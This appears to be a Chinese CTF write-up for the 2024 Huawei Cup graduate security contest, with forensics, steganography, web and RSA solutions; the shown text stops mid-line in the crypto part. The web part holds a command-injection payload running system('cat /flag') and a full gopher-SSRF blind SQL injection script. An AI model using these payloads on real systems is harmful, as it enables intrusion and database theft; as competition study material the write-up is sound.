{"id":408,"date":"2024-10-10T21:55:10","date_gmt":"2024-10-10T13:55:10","guid":{"rendered":"http:\/\/www.s1mh0.cn\/blog\/?p=408"},"modified":"2024-10-17T13:23:57","modified_gmt":"2024-10-17T05:23:57","slug":"cpipc2024_wp","status":"publish","type":"post","link":"https:\/\/www.s1mh0.cn\/blog\/index.php\/2024\/10\/10\/cpipc2024_wp\/","title":{"rendered":"\u201c\u534e\u4e3a\u676f\u201d\u7b2c\u4e09\u5c4a\u4e2d\u56fd\u7814\u7a76\u751f\u7f51\u7edc\u5b89\u5168\u521b\u65b0\u5927\u8d5b- WriteUp by Vp0int"},"content":{"rendered":"<h2>Misc<\/h2>\n<h3>SeekThroughAllNetworks<\/h3>\n<pre><code class=\"language-text\">This is a difficult task to find out which testchain the hash  [0x90790830c4c891747ad8fbf2043f0a605e506f912e784671c96d1e9a650840c7]   is on.<\/code><\/pre>\n<p>\u901a\u8fc7\u9898\u76ee\u63cf\u8ff0\uff0c\u5728google\u641c\u7d22\u5230\u4e0b\u9762\u7f51\u7ad9\u53ef\u4ee5\u6d4b\u8bd5\u8fde\u63a5<\/p>\n<p><code>https:\/\/goerli.ethplorer.io\/tx\/0x90790830c4c891747ad8fbf2043f0a605e506f912e784671c96d1e9a650840c7#pageTab=transfers<\/code><\/p>\n<p>\u5728inputdata\u770b\u5230\u5341\u516d\u8fdb\u5236\u6570\u636e<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_1.png\" alt=\"img\" \/> <\/p>\n<p>\u641c\u7d22\u53d1\u73b0\u53ef\u4ee5\u901a\u8fc7ipfs\u4e0b\u8f7d\u6587\u4ef6<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_2.png\" alt=\"img\" \/> <\/p>\n<p><code>https:\/\/ipfs.io\/ipfs\/bafkreigalwws5ohp74lthl4xu3towuh2ztcfklppm2fjl5svu77lbpxsqm<\/code>\uff0c\u4e0b\u8f7d\u540e\u547d\u540d\u6587\u4ef6\u4e3a.psd\uff0c\u6253\u5f00\u770b\u5230\u4e24\u4e2a\u56fe\u5c42\u6709\u4e8c\u7ef4\u7801<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_3.png\" alt=\"img\" \/> <\/p>\n<p>\u4e00\u4e2a\u662fflag\u524d\u534a\u6bb5base64\u6570\u636e\uff0c\u4e00\u4e2a\u662f\u540e\u534a\u6bb5\u660e\u6587<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_4.png\" alt=\"img\" \/> <\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_5.png\" alt=\"img\" \/> <\/p>\n<p>DASCTF{0h<em>Y0u<\/em>@r3_A_C1eVer_De7ect1v3.}<\/p>\n<h3>\u5e7f\u4e3a\u4eba\u77e5\u7684\u79d8\u5bc6<\/h3>\n<p>\u9898\u76ee\u63cf\u8ff0\u7684base64\u89e3\u5bc6\u540e\u5e94\u8be5\u662f\u63d0\u793a\u505a\u9898\u6b65\u9aa4\uff0c\u4f46\u662f\u8fd8\u662f\u5f88\u8ff7<\/p>\n<pre><code class=\"language-text\">c3RyLT5oZXgtPmFjY291bnQtPm5vbmNlMQ==\n\u2193\u2193 base64\nstr-&gt;hex-&gt;account-&gt;nonce1<\/code><\/pre>\n<p>\u540e\u7eed\u6839\u636e\u7fa4\u516c\u544a\u6839\u636e\u63d0\u793a\u5c06<code>\u79d8\u5bc6\u5417?\u85cf\u5728Goerli\u7f51\u7edc\u91cc.<\/code>\u8f6c\u5341\u516d\u8fdb\u5236\u5f97\u5230metamask\u8d26\u6237\u79c1\u94a5<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_6.png\" alt=\"img\" \/> <\/p>\n<p>\u9996\u5148\u901a\u8fc7\u79c1\u94a5\u5728metamask\u5bfc\u5165\u8d26\u6237<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_7.png\" alt=\"img\" \/> <\/p>\n<p>\u7136\u540e\u590d\u5236\u8d26\u6237\u540d\u79f0\uff0c\u5728https:\/\/goerli.etherscan.io\/\u4e2d\u641c\u7d22\u8be5\u8d26\u6237<\/p>\n<p><code>https:\/\/goerli.etherscan.io\/address\/0x34c5a8Cbe765454A43f515cFe94928d26c2fE186<\/code><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_8.png\" alt=\"img\" \/> <\/p>\n<p>\u70b9\u51fb\u6b64\u8d26\u6237\u4ea4\u6613\u60c5\u51b5<\/p>\n<p>call\u90a3\u91cc\u53d1\u73b0DAS\u5934\uff0c\u63a5\u7740\u5728inputdata\u770b\u5230flag<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_9.png\" alt=\"img\" \/> <\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_10.png\" alt=\"img\" \/> <\/p>\n<p>DASCTF{NOb0dy_Kn0w5_B10ckch4In_b3t7er_Th@n_ME}<\/p>\n<h3>Secret_Varied_Gif<\/h3>\n<p>\u5728Ctff.gif\u540e\u9762\u770b\u5230\u6709\u4e2azip\u6587\u4ef6\uff0cbinwalk\u4e4b\u540e\u5f97\u5230decode\u6587\u4ef6\uff0c\u95eegpt\u662fsvg\u6587\u4ef6\uff0c\u76f4\u63a5\u8ba9gpt\u5c06\u91cc\u9762\u5185\u5bb9\u8f6c\u6210html<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_11.png\" alt=\"img\" \/> <\/p>\n<p>\u5f97\u5230<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_12.png\" alt=\"img\" \/> <\/p>\n<p>\u4e00\u773c\u732a\u5708\u5bc6\u7801\uff0c\u8f6c\u6362\u5f97\u5230ACADESVC\uff0c\u4f46\u662f\u5c06\u5176\u4f5c\u4e3aflag.txt\u89e3\u538b\u5bc6\u7801\u8bd5\u4e86\u5927\u5c0f\u5199\u548c\u5404\u79cd\u987a\u5e8f\u90fd\u4e0d\u5bf9\uff08\u6bd4\u8d5b\u7ed3\u675f\u7fa4\u91cc\u8ba8\u8bba\u8bf4\u662f\u51fa\u9898\u4eba\u7684\u95ee\u9898\uff0c\u6211\uff1f\uff1f\uff1f\uff09\uff0c\u6700\u540e\u731c\u6d4b\u5c1d\u8bd5\u5c06\u540e\u4e24\u4f4d\u5b57\u6bcd\u5f53\u505a\u63a9\u7801+\u8f6c\u5c0f\u5199\u7206\u7834\u7ec8\u4e8e\u5f97\u5230\u5bc6\u7801acadesvg\uff0c\u89e3\u538b\u5f97\u5230flag<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_13.png\" alt=\"img\" \/> <\/p>\n<p>DASCTF{e9e950d7d56d7987866242e13d2e27e7}<\/p>\n<h3>Draw_what_you_like\uff08\u590d\u73b0\uff09<\/h3>\n<p>\u9898\u76ee\u7ed9\u4e86\u4e2a\u5185\u5b58\u955c\u50cf\u6587\u4ef6\u548c\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u4f46\u662f\u770b\u5341\u516d\u8fdb\u5236\u5e76\u4e0d\u662f\u538b\u7f29\u5305\u6587\u4ef6\uff0c\u5927\u5c0f\u4e3a1024\u7684\u6574\u6570\u500d\uff0c\u731c\u6d4b\u662f\u78c1\u76d8\u6587\u4ef6<\/p>\n<p>\u7528RS\u5148\u626b\u4e00\u904d\u5185\u5b58\uff0c\u5728kotori\u7528\u6237\u7684\u684c\u9762\u4e0b\u770b\u5230\u597d\u51e0\u4e2a\u53ef\u7591\u6587\u4ef6<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_28.png\" alt=\"\" \/><\/p>\n<p>\u518d\u4e0avolatility\u5c06\u6587\u4ef6\u90fddump\u4e0b\u6765(\u9664\u4e86dumpit.exe)\uff0c\u9996\u5148flag.txt\u5f97\u5230flag1\uff1a<code>flag01:{forensics_<\/code><\/p>\n<p>draw.zip\u9700\u8981\u5bc6\u7801<\/p>\n<p>flag2.zip\u6709\u4e2aplaces.sqlite\u6587\u4ef6\uff0c\u6253\u5f00\u6570\u636e\u5e93\u5728places\u8868\u91cc\u770b\u5230\u4e2apassword<code>Digital5211314<\/code>\uff0c\u4e3adraw\u538b\u7f29\u5305\u7684\u89e3\u538b\u5bc6\u7801<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_29.png\" alt=\"\" \/><\/p>\n<p>\u6253\u5f00\u6d41\u91cf\u5305\u4e3ausb\u6d41\u91cf\uff0c\u63a5\u7740\u76f4\u63a5\u770bHID data\uff0c\u5e76\u975e\u9f20\u6807\u6d41\u91cf\u4e5f\u5e76\u975e\u952e\u76d8\u6d41\u91cf\uff0c\u4e3b\u673a\u662f\u4e0e2.5.2\u8bbe\u5907\u901a\u8baf\uff0c\u56e0\u6b64\u57282.5.0\u7684GET descriptor response device\u53ef\u4ee5\u770b\u5230\u8bbe\u5907\u540d\u662fXP-Pen\uff0c\u5373\u6570\u4f4d\u677f<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_30.png\" alt=\"\" \/><\/p>\n<p>\u5728HID\u7528\u9014\u8868\u4e2d\u67e5\u770b\u6570\u4f4d\u677f\u5bf9\u5e94\u6837\u4f8b<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_31.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-HID\">07a1833ea4672e16160c\n07a1833ea467c012150c\n07a17a3eb0679b0f150c\n07a17a3eb0674f0d150c\n07a1783e9f678c06150c\n07a07c3e77670000140d\n07a0833e3f670000130c\n07a08e3ef9660000130b\n07a0a73e70660000120b\n07a0c43edc650000110b\n07a0e73e3e650000100b\n07a00d3f9d6400000f0b<\/code><\/pre>\n<p>\u5bf9\u6bd4HID Data\u6bd4\u8f83\u7b26\u5408\u8be5\u683c\u5f0f\uff0c5-8\u4f4d\u5c0f\u7aef\u5e8f\u5b58\u50a8x\u8f74\uff0c9-12\u4f4d\u5c0f\u7aef\u5e8f\u5b58\u50a8y\u8f74\uff1b\u6b64\u5916\u53ef\u4ee5\u901a\u8fc715-16\u4f4d\u662f\u5426\u4e3a\u201c00\u201d\uff0c\u6216\u8005\u901a\u8fc71-4\u4f4d\u662f\u5426\u4e3a\u201c07a1\u201d\u5224\u65ad\u6309\u538b\u60c5\u51b5<\/p>\n<pre><code class=\"language-python\">import matplotlib.pyplot as plt\ndata=[]\nwith open(&#039;data2.txt&#039;,&quot;r&quot;) as f:\n    for line in f.readlines():\n        # if line[16:18] != &quot;00&quot;:   # filter\n        # if line[0:4] == &quot;07a1&quot;:\n        if line[14:16] != &quot;00&quot;:\n            data.append(line)\nX = []\nY = []\nfor line in data:\n        x0 = int(line[4:6], 16)\n        x1 = int(line[6:8], 16)\n        x = x0 + x1 * 256\n\n        y0 = int(line[8:10], 16)\n        y1 = int(line[10:12], 16)\n        y = y0 + y1 * 256\n\n        X.append(x)\n        Y.append(-y)\n\nplt.scatter(X, Y, c=&quot;black&quot;)\nplt.show()<\/code><\/pre>\n<p>\u5f97\u5230flag2\uff1a<code>MISC_DRAW_<\/code><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_32.png\" alt=\"\" \/><\/p>\n<p>\u6700\u540e\u4e00\u4e2aflag\u5e94\u8be5\u5c31\u5728\u8fd8\u6ca1\u7528\u4e0a\u7684\u78c1\u76d8\u6587\u4ef6\u91cc\u4e86\uff0c\u7528EFDD\u53ef\u4ee5\u68c0\u6d4b\u51fa\u7528\u4e86TrueCrypt\u6216\u8005VeraCrypt\u52a0\u5bc6\uff0c\u73b0\u5728\u8fd8\u7f3a\u5bc6\u94a5key<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_33.png\" alt=\"\" \/><\/p>\n<p>\u6839\u636ehint.txt\u4e2d<code>key\u8fdc\u5728\u5929\u8fb9\u8fd1\u5728\u773c\u524d<\/code>\u7684\u62bd\u8c61\u63d0\u793a\u548c\u8fd8\u6ca1\u7528\u5230\u7684jpg\u56fe\u7247\uff0c\u6700\u540e\u5728vera\u7528jpg\u4f5c\u4e3akey\u6302\u8f7dsecret\u6587\u4ef6\uff0c\u5f97\u5230flag3\uff1a<code>Verakey_graph}<\/code><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_34.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_35.png\" alt=\"\" \/><\/p>\n<p>\u62fc\u63a5\u5f97\u5230flag\uff1aflag{forensics_MISC_DRAW_Verakey_graph}<\/p>\n<h2>Web<\/h2>\n<h3>very_easyphp<\/h3>\n<p>\u8fdb\u53bb\u8bbf\u95ee\u6e90\u7801<\/p>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\n$data = parse_url($_SERVER[&#039;REQUEST_URI&#039;]);\n$han = basename($data[&#039;query&#039;]);\n$a = $_GET[&#039;a&#039;];\n$b = $_GET[&#039;b&#039;];\nif (!preg_match(&#039;\/[a-z0-9_]\/i&#039;, $han)) {\n\n    if (is_string($a) &amp;&amp; is_numeric($b)) {\n        if ($a != $b &amp;&amp; md5($a) == md5($b)) {\n            $week1 = true;\n        } else {\n            echo &quot;\u4f60\u884c\u4e0d\u884c\uff0c\u7ec6\u72d7;&lt;br \/&gt;&quot;;\n        }\n    } else {\n\n        echo &quot;\u4e0d\u8981\u800d\u5c0f\u806a\u660e\u54e6&lt;br \/&gt;&quot;;\n    }\n} else {\n\n    echo &quot;\u8fd9\u4e9b\u90fd\u88ab\u8fc7\u6ee4\u4e86\u54e6&lt;br \/&gt;&quot;;\n}\n\nif (!isset($time)) {\n    $time = gmmktime();\n}\n$b = substr($time, 0, 7);\nmt_srand($b);\necho &quot;hint:&quot; . (mt_rand()) . &quot;&lt;br \/&gt;&quot;;\nfor ($i = 0; $i &lt;= 100; $i++) {\n\n    if ($i == 100) {\n        $sui = mt_rand();\n    } else {\n        mt_rand();\n    }\n}\n\nif ($_POST[&#039;c&#039;] == $sui) {\n    $d = $_POST[&#039;d&#039;];\n    if (intval(&#039;$d&#039;) &lt; 4 &amp;&amp; intval($d) &gt; 10000) {\n        $week2 = true;\n        echo &quot;\u4e0d\u9519\u54e6,\u5feb\u53bb\u83b7\u5f97flag\u5427&lt;br \/&gt;&quot;;\n    } else {\n        echo &quot;\u597d\u50cf\u4e0d\u7b26\u5408\u8981\u6c42\u54e6\uff0c\u518d\u60f3\u60f3\u5427&lt;br \/&gt;&quot;;\n    }\n} else {\n    echo &quot;\u518d\u597d\u597d\u60f3\u4e00\u60f3\u54e6&lt;br \/&gt;&quot;;\n}\n\nif ($week1 &amp;&amp; $week2) {\n    $f = $_POST[&#039;flag&#039;];\n    $e = $_POST[&#039;e&#039;];\n    if (!preg_replace(&#039;\/[a-z0-9_]\/isD&#039;, &#039;&#039;, $_POST[&#039;flag&#039;])) {\n        echo &quot;\u8fd9\u6837\u53ef\u4e0d\u592a\u597d\u54e6&lt;br \/&gt;&quot;;\n    } else {\n        $f(&#039;&#039;, $e);\n    }\n} else {\n    echo &quot;\u80d6\u864e\uff0c\u4f60\u5728\u641e\u4ec0\u4e48.&lt;br \/&gt;&quot;;\n}<\/code><\/pre>\n<p>\u7ed5\u8fc7parse_url\uff1a\/\/\/<\/p>\n<p>\u7ed5\u8fc7md5\u5f31\u6bd4\u8f83\uff1aa=QNKCDZO&amp;b=240610708<\/p>\n<p>php\u56fa\u5b9a\u79cd\u5b50\u4f2a\u968f\u673a\u6570\uff0c\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nif (!isset($time)) {\n  $time = gmmktime();\n}\n$b = substr($time, 0, 7);\nmt_srand($b);\necho &quot;hint:&quot; . (mt_rand()) . &quot;&lt;br \/&gt;&quot;;\nfor ($i = 0; $i &lt;= 100; $i++) {\n\n  if ($i == 100) {\n    $sui = mt_rand();\n  } else {\n    mt_rand();\n  }\n}\necho $sui;\n?&gt;<\/code><\/pre>\n<p>intval\u622a\u65ad\u7ed5\u8fc7\uff1a10001.1<\/p>\n<p>\/^[a-z0-9_]*$\/isD\u7684\u610f\u601d\uff1a<\/p>\n<pre><code class=\"language-text\">\/i\u4e0d\u533a\u5206\u5927\u5c0f\u5199\n\n\/s\u5339\u914d\u4efb\u4f55\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u5305\u62ec\u7a7a\u683c\u3001\u5236\u8868\u7b26\u3001\u6362\u9875\u7b26\u7b49\u7b49\uff0c\u7b49\u4ef7\u4e8e[fnrtv]\n\n\/D\u5982\u679c\u4f7f\u7528$\u9650\u5236\u7ed3\u5c3e\u5b57\u7b26,\u5219\u4e0d\u5141\u8bb8\u7ed3\u5c3e\u6709\u6362\u884c;<\/code><\/pre>\n<p>\u6b63\u5219\u5339\u914d\u7684\u662f\u6570\u5b57\uff0c\u5b57\u6bcd\uff0c\u4e0b\u5212\u7ebf\u5f00\u5934\u7684\u503c\uff0c\u6211\u4eec\u9700\u8981\u627e\u5230\u4e00\u4e2a\u4e0d\u4ee5\u6570\u5b57\uff0c\u5b57\u6bcd\uff0c\u4e0b\u5212\u7ebf\u5f00\u5934\u7684value\uff0c\u540c\u65f6\u53ef\u4ee5\u6b63\u5e38\u6267\u884c\u51fd\u6570\uff0c\u7528<code>\\<\/code>\u7ed5\u8fc7<\/p>\n<p><code>flag=\\create_function&amp;e=return%222333%22;}system(&#039;cat \/flag);\/*<\/code><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_14.png\" alt=\"img\" \/> <\/p>\n<h3>ssssrf<\/h3>\n<p>ssrf\u80fd\u8bfb\u6e90\u7801\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n\/**\n * Database mysql\n *\/\nerror_reporting(0);\n$flag=getenv(&quot;FLAG&quot;);\n\n$db_host = &quot;127.0.0.1&quot;;\n$db_user = &quot;root&quot;;\n$db_pass = &quot;root&quot;;\n$db_name = &quot;ctf&quot;;\n$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);\nif (!$conn) {\n    die(&quot;connect error: &quot; . mysqli_connect_error());\n}\n\nif($_SERVER[&#039;REMOTE_ADDR&#039;]==&#039;127.0.0.1&#039;){\n\nif (isset($_POST[&quot;id&quot;])) {\n    $id     = $_POST[&#039;id&#039;];\n    $sql    = &quot;select * from users where id=&#039;$id&#039;&quot;;\n    $result = mysqli_query($conn, $sql);\n    if($result) {\n        $res  = mysqli_fetch_array($result);\n        if ($res){\n            $err = FALSE;\n        } else {\n            $err = TRUE;\n        }\n        $err_msg = &quot;&quot;;\n    } else {\n        $err = TRUE;\n        $err_msg = mysqli_error($conn);\n    }\n}\nmysqli_close($conn);\nif(isset($_POST[&quot;id&quot;])){\n    echo $sql;\n    if($err) {\n        echo &quot;error&quot;;\n    } else {\n        echo &quot;success&quot;;\n    }\n}\nelse{\n    die(&#039;\u8bf7\u8f93\u5165\u641c\u7d22\u7684id\u503c&#039;);\n}\n}\nelse{\n    die(&#039;\u975e\u672c\u5730\u7528\u6237\uff0c\u7981\u6b62\u8bbf\u95ee&#039;);\n}\n?&gt;<\/code><\/pre>\n<p>\u770b\u5230\u4f20\u53c2id\u4ee3\u5165sql\u67e5\u8be2\u3002\u68c0\u6d4b\u662f\u5426\u6709sql\u6ce8\u5165\uff1a<\/p>\n<pre><code class=\"language-python\">import urllib.parse \n\nid = &quot;-1&#039; or &#039;1&#039;=&#039;1--&quot; \nlength = len(id) + 6 \npayload = \\ \n&quot;&quot;&quot;POST \/flag.php HTTP\/1.1 \nHost:127.0.0.1:80 \nContent-Length:&quot;&quot;&quot; + str(length) + &quot;&quot;&quot; \nContent-Type:application\/x-www-form-urlencoded \n\nid=&quot;&quot;&quot; + id \nprint(payload) \n# \u6ce8\u610f\u540e\u9762\u4e00\u5b9a\u8981\u6709\u56de\u8f66\uff0c\u56de\u8f66\u7ed3\u5c3e\u8868\u793ahttp\u8bf7\u6c42\u7ed3\u675f\ntmp = urllib.parse.quote(payload) \nnew = tmp.replace(&#039;%0A&#039;, &#039;%0D%0A&#039;) \nresult = &#039;gopher:\/\/127.0.0.1:80\/&#039; + &#039;_&#039; + new \nresult = urllib.parse.quote(result)  # get\u8bf7\u6c42\nencoded_url = result.replace(&#039;\/&#039;, &#039;%2F&#039;) \nprint(encoded_url)<\/code><\/pre>\n<p>\u62a5error\u4e86\uff0c\u80fd\u89e3\u6790\u3002gopher\u534f\u8bae\u4f20POST\u8fdb\u884csql\u6ce8\u5165\uff0cPOC\uff1a<\/p>\n<pre><code class=\"language-python\">import datetime\nimport requests\nimport urllib.parse\n\ndef generate_paylaod(payload):\n    test = \\\n        &quot;&quot;&quot;POST \/flag.php HTTP\/1.1\nContent-Length: {}\nHost: 127.0.0.1:80\nContent-Type: application\/x-www-form-urlencoded\n\n{}\n\n&quot;&quot;&quot;.format(len(payload), payload)\n    tmp = urllib.parse.quote(test)\n    new = tmp.replace(&#039;%0A&#039;, &#039;%0D%0A&#039;)\n    result = &#039;gopher:\/\/127.0.0.1:80\/&#039; + &#039;_&#039; + new\n    result = urllib.parse.quote(result)\n    return result\n\nurl = &#039;http:\/\/192.168.18.25\/&#039;\n\ndef getdbname():\n    name = &quot;&quot;\n    for j in range(1, 10):\n        for i in &quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_&quot;:\n            payload = &quot;id=1&#039; and if(ascii(substr(database(),%d,1))=%s,sleep(10),1) #&quot; % (j, ord(i))\n            print(payload)\n            time1 = datetime.datetime.now()\n            payload = generate_paylaod(payload)\n            payload = &quot;url=&quot;+payload\n            headers = {\n                &quot;Content-Type&quot;: &quot;application\/x-www-form-urlencoded&quot;\n            }\n            proxy = {\n                &#039;http&#039;:&#039;127.0.0.1:8081&#039;\n            }\n            requests.post(url, data=payload,headers=headers)\n            time2 = datetime.datetime.now()\n            cha = (time2 - time1).seconds\n            if cha &gt;= 10:\n                name += i\n                print(name)\n                break\n        print(&quot;information_name:&quot;, name, &quot;\\n&quot;)\n\ndef information_name():\n    name=&quot;&quot;\n    for k in range(0, 5):\n        for j in range(1,10):\n            for i in &#039;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_&#039;:\n                payload=&quot;id=1&#039; and if(ascii(substr((select table_name from information_schema.tables where table_schema=&#039;ctf&#039; limit %d,1),%d,1))=%d,sleep(10),0) --+&quot;  % (k, j, ord(i))\n                print(payload)\n                time1 = datetime.datetime.now()\n                payload = generate_paylaod(payload)\n                payload = &quot;url=&quot; + payload\n                headers = {\n                    &quot;Content-Type&quot;: &quot;application\/x-www-form-urlencoded&quot;\n                }\n                proxy = {\n                    &#039;http&#039;: &#039;127.0.0.1:8081&#039;\n                }\n                requests.post(url, data=payload, headers=headers)\n                time2 = datetime.datetime.now()\n                cha = (time2 - time1).seconds\n                if cha &gt;= 10:\n                    name += i\n                    print(name)\n                    break\n        print(&quot;information_name&quot;,name,&quot;\\n&quot;)\n        name = &quot;&quot;\n\ndef columns_name():\n    name=&quot;&quot;\n    for k in range(0,5):\n        for j in range(5,10):\n            for i in &#039;abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ&#039;:\n                payload=&quot;id=1&#039; and if(ascii(substr((select column_name from information_schema.columns where table_name=&#039;flag_tttt&#039; and table_schema=database() limit %d,1),%d,1))=%d,sleep(10),0) --+&quot; % (k,j,ord(i))\n                print(payload)\n                time1 = datetime.datetime.now()\n                payload = generate_paylaod(payload)\n                payload = &quot;url=&quot; + payload\n                headers = {\n                    &quot;Content-Type&quot;: &quot;application\/x-www-form-urlencoded&quot;\n                }\n                proxy = {\n                    &#039;http&#039;: &#039;127.0.0.1:8081&#039;\n                }\n                requests.post(url, data=payload, headers=headers)\n                time2 = datetime.datetime.now()\n                cha = (time2 - time1).seconds\n                if cha &gt;= 10:\n                    name += i\n                    print(name)\n                    break\n        print(&quot;columns_name&quot;, name, &quot;\\n&quot;)\n        name = &quot;&quot;\ndef columns_value():\n    name=&quot;&quot;\n    for k in range(0,5):\n        for j in range(1,50):\n            for i in &quot;abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-_&quot;:\n                payload =&quot;id=1&#039; and if(ascii(substr((select flag_cccc from flag_tttt limit %d,1),%d,1))=%d, sleep(10),0)--+&quot; % (k,j,ord(i))\n                print(payload)\n                time1 = datetime.datetime.now()\n                payload = generate_paylaod(payload)\n                payload = &quot;url=&quot; + payload\n                headers = {\n                    &quot;Content-Type&quot;: &quot;application\/x-www-form-urlencoded&quot;\n                }\n                proxy = {\n                    &#039;http&#039;: &#039;127.0.0.1:8081&#039;\n                }\n                requests.post(url, data=payload, headers=headers)\n                time2 = datetime.datetime.now()\n                cha = (time2 - time1).seconds\n                if cha &gt;= 10:\n                    name += i\n                    print(name)\n                    break\n\n        print(&quot;columns_value&quot;,name,&quot;\\n&quot;)\n        name=&quot;&quot;\n\nif __name__ == &#039;__main__&#039;:\n    columns_value()<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_15.png\" alt=\"img\" \/> <\/p>\n<p>\u6700\u540e\u5fd8\u8bb0\u622a\u56fe+\u76f2\u6ce8\u65f6\u95f4\u8fc7\u957f\uff0c\u6bd4\u8d5b\u7ed3\u675f\u524d\u518d\u8dd1\u4e00\u904d\u6765\u4e0d\u53ca\uff0c\u6700\u540eflag\u4e3a<\/p>\n<p>flag\uff1af23c69ffdec24ceeb2204c6d25e59212<\/p>\n<h2>Crypto<\/h2>\n<h3>EZ_RSA_5<\/h3>\n<p>\u7ed9\u4e86p\u5173\u4e8eq\u7684\u9006\u5143\u548cq\u5173\u4e8ep\u7684\u9006\u5143\uff0c\u53ef\u4ee5\u6c42p\u548cq\uff0c\u63a5\u7740\u662f\u4e00\u4e2adp\u6cc4\u9732\uff0c\u6c42\u51faP\u540e\u5f97\u5230flag<\/p>\n<pre><code class=\"language-python\">from Crypto.Util.number import *\n\ndef gcd(a, b):\n  while(b): \n    a,b = b, a % b \n  return a \n\ndef mysqrt(d):\n  st = 1\n  en = 10**1300\n  while st&lt;=en:\n    mid = (st+en)\/\/2\n    if mid*mid == d: return mid\n    if mid*mid &lt; d: st=mid+1\n    else: en=mid-1\n  return -1\n\ndef egcd(a1, a2):\n    x1, x2 = 1, 0\n    y1, y2 = 0, 1\n    while a2:\n        q = a1 \/\/ a2\n        a1, a2 = a2, a1 - q * a2\n        x1, x2 = x2, x1 - q * x2\n        y1, y2 = y2, y1 - q * y2\n    return (x1, y1, a1)\n\nipmq= 2636020992576559969055483957060200941734026828135579110378070592732862908176025649071069827089999996350015210043636523971348821850565913816154887832272305\niqmp= 7886513101716991094728039196608717849158915101115291363845210343608904418304571443491051842715241903123031976527174063528298034452215971449949398656913945\nphi= 115505961171763309547793530782914001823768056515083869218337105172209622283311582473506324170565971054492347897941697574972266679462737991988159654350224823122310342866537098903019067348499259894857405865405379172014292034138593409888061494667098647947191077373457924105640280156013690526621147715122416478264\ne = 65537\n\nd = inverse(e,phi)\ngg = gcd(iqmp-1,ipmq-1)\n\nc = phi \/\/ gg\na = (ipmq-1)\/\/gg\nb = (iqmp-1)\/\/gg\n# p*a + q*b = c\npmod = inverse(a, b)*c%b\nfor j in range(100000):\n    p = pmod + j*b\n    if p &gt; (1&lt;&lt;1024): break\n    if not isPrime(p): continue\n    q = (c-p*a)\/\/b\n    assert(p*a+q*b==c)\n    if (iqmp*q-1)%p == 0 and (ipmq*p-1)%q == 0:\n        break\n# print(p)\n# print(q)\n\nn = p*q\nK =  3995906172915513953882445609459153360257793100017419734812726991957587919349807133880917342081892953635338598486012480314014321088548439223094566668968735207492741920107799674089668131177188073985125603237341660194741854181484934968528811686828555591685803851909027192343245722679639249600176791158349393704697742640442010893811830528349203606514981272974154582682489532205008927740716725904614810707240205595586894383039181983075907373556864396176123489201513001026708388504250801785422323131912494763394371589512367935031912074535458595633402462463667072692589863355712935552396330534658448628449816139943205511637\ndp =  